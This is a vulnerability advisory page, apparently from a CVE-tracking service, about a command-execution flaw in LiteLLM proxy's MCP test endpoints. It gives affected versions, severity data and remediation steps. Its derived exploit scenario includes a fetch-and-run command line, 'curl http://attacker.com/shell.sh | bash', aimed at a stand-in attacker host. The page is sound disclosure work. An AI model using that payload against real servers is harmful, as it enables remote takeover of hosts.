EUVD-2026-28507
GHSA-v4p8-mg3p-g94g
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain valid API key
-
DeliveryCraft stdio MCP config with malicious command
-
ExploitPOST to /mcp-rest/test/connection
-
ExecutionLiteLLM spawns subprocess
-
PersistExecute arbitrary code as proxy user
-
ImpactCompromise host system
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK
1 technique across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires possession of any valid LiteLLM proxy API key, including low-privilege internal-user keys that lack PROXY_ADMIN role. Exploitation targets the MCP (Model Context Protocol) functionality present in versions 1.74.2 through 1.83.6. Network access to the LiteLLM proxy HTTP API endpoints /mcp-rest/test/connection or /mcp-rest/test/tools/list is required. No user interaction needed (UI:N). The vulnerability exists in default configurations with no additional feature enablement required. Attack complexity is low (AC:L) but timing constraints apply (AT:P), likely referring to the need to intercept or craft requests during MCP server configuration workflows. Exploitation is LIMITED by: authentication requirement (any API key), network accessibility to the proxy endpoints, and the attacker's knowledge of LiteLLM's MCP functionality. Deployments that restrict API key distribution to administrators only or block MCP endpoints at perimeter are not exploitable. |
| Impact | The CVSS 4.0 score of 8.7 reflects high severity across confidentiality, integrity, and availability (VC:H/VI:H/VA:H) with network attack vector (AV:N) and low complexity (AC:L). However, exploitation requires low-privileged authentication (PR:L) and precise attack timing (AT:P), suggesting attackers need valid API credentials. The lack of CISA KEV listing indicates no confirmed widespread exploitation, and no public exploit code is documented. Real-world risk depends heavily on deployment posture: organizations using LiteLLM with multiple internal API keys distributed to users face immediate critical risk, as any key holder can achieve full host compromise. Conversely, deployments where only administrators hold API keys have reduced attack surface. The scope change to high (SC:H) indicates potential container escape or lateral movement depending on proxy process privileges. Missing EPSS data prevents quantitative exploitation probability assessment. SSVC framework assessment: exploitation not confirmed active, technical impact is total system compromise, automatable once credentials obtained. This is a genuine high-severity issue requiring urgent patching in multi-user deployments, not merely a high-CVSS theoretical risk. |
| Exploit ScenarioDerived | An attacker with a low-privilege internal-user API key sends a POST request to /mcp-rest/test/connection with a crafted JSON payload containing a stdio transport configuration. The command field specifies 'curl http://attacker.com/shell.sh | bash', args is empty, and env contains exfiltration variables. The LiteLLM proxy spawns this command with its own process privileges, establishing reverse shell access to the host system with full proxy permissions. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 08, 2026
Remote command execution in LiteLLM proxy server versions 1.74.2 through 1.83.6 allows any authenticated user to execute arbitrary commands on the host system. Two MCP (Model Context Protocol) test endpoints accept stdio transport configurations including command, args, and env fields, then spawn the supplied command as a subprocess with proxy process privileges. Authentication with any valid API key, including low-privilege internal-user keys, bypasses intended PROXY_ADMIN role restrictions. Patch available in version 1.83.7. No CISA KEV listing or public exploit code identified at time of analysis, though EPSS scoring is not provided in available data.
RemediationAI
Upgrade to LiteLLM version 1.83.7 or later, which enforces PROXY_ADMIN role checks on both vulnerable endpoints. For pip installations, run 'pip install --upgrade litellm'. For Docker deployments, pull ghcr.io/berriai/litellm:v1.83.7-stable and verify image signature using cosign per vendor instructions at https://github.com/BerriAI/litellm/releases/tag/v1.83.7-stable. If immediate upgrade is not feasible, block POST requests to /mcp-rest/test/connection and /mcp-rest/test/tools/list at reverse proxy or API gateway level using URL path filtering. This workaround prevents exploitation but disables MCP server preview functionality. Additionally, audit all issued API keys and revoke unnecessary low-privilege internal-user keys to reduce attack surface. Review proxy process security context and consider running LiteLLM with reduced privileges or in isolated containers to limit blast radius. No additional code changes or configuration modifications required after upgrading to patched version.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
LiteLLM is an AI Gateway proxy server that provides OpenAI-compatible interfaces for various LLM APIs. The vulnerability affects MCP (Model Context Protocol) server testing functionality introduced in version 1.74.2. MCP uses stdio transport to communicate with external tools/servers, requiring command execution on the host. The POST /mcp-rest/test/connection and POST /mcp-rest/test/tools/list endpoints accept JSON configurations containing command, args, and env parameters for stdio transport. These endpoints lack proper authorization checks, validating only API key presence without verifying PROXY_ADMIN role membership. This represents CWE-77 (Command Injection) combined with an authorization bypass, where user-controlled input flows directly into subprocess.spawn() or equivalent system calls. The affected CPE is cpe:2.3:a:berriai:litellm:*:*:*:*:*:*:*:*, covering all deployment methods (pip package, Docker container).
Know when Litellm gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:N
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
4DescriptionCVE.org
LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. From version 1.74.2 to before version 1.83.7, two endpoints used to preview an MCP server before saving it - POST /mcp-rest/test/connection and POST /mcp-rest/test/tools/list - accepted a full server configuration in the request body, including the command, args, and env fields used by the stdio transport. When called with a stdio configuration, the endpoints attempted to connect, which spawned the supplied command as a subprocess on the proxy host with the privileges of the proxy process. The endpoints were gated only by a valid proxy API key, with no role check. Any authenticated user - including holders of low-privilege internal-user keys - could therefore run arbitrary commands on the host. This issue has been patched in version 1.83.7.
Articles & Coverage 1
Executive ViewAI
LiteLLM proxy server versions 1.74.2 through 1.83.6 contain a remote command execution vulnerability that allows any authenticated user with a valid API key to execute arbitrary commands with proxy process privileges, potentially compromising the entire host system. Organizations running affected versions face immediate risk of lateral movement, data exfiltration, and service disruption if user API keys are obtained or distributed.
Until upgrade to version 1.83.7 is completed: (1) disable or restrict network access to the two affected MCP test endpoints (/mcp or similar paths handling stdio transport) via firewall or API gateway rules; (2) implement strict API key access controls and disable any low-privilege keys not actively required; (3) enable comprehensive command execution logging and implement real-time alerting on subprocess spawning from proxy processes; (4) run proxy service under a dedicated, non-root user account with minimal file system and system permissions to limit blast radius of command execution.
Threat Intelligence Overview
NVD
CVE.org
CISA KEV
EPSS
Vulnrichment
VulDB
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Related Vulnerabilities in LiteLLM API Injection and Template Vulnerabilities
View all 3Authentication bypass in LiteLLM (BerriAI) proxy/AI Gateway before 1.84.0 lets a remote unauthenticated attacker reach M
BerriAI/litellm is vulnerable to Server-Side Template Injection (SSTI) via the `/completions` endpoint. Rated critical s
Remote code execution in BerriAI LiteLLM (all versions through 2026-04-08) enables authenticated attackers to execute ar
BerriAI's litellm, in its latest version, is vulnerable to arbitrary file deletion due to improper input validation on t
Authentication bypass in the LiteLLM proxy lets any party who already holds a valid JWT issued by the configured externa
In berriai/litellm version v1.52.1, an issue in proxy_server.py causes the leakage of Langfuse API keys when an error oc
In berriai/litellm before version 1.44.12, the `litellm/litellm_core_utils/litellm_logging.py` file contains a vulnerabi
A Server-Side Request Forgery (SSRF) vulnerability exists in berriai/litellm version 1.38.10. Rated high severity (CVSS
An SQL Injection vulnerability exists in the berriai/litellm repository, specifically within the `/global/spend/logs` en
A code injection vulnerability exists in the berriai/litellm application, version 1.34.6, due to the use of unvalidated
berriai/litellm version 1.34.34 is vulnerable to improper access control in its team management functionality. Rated med
Exploit-DB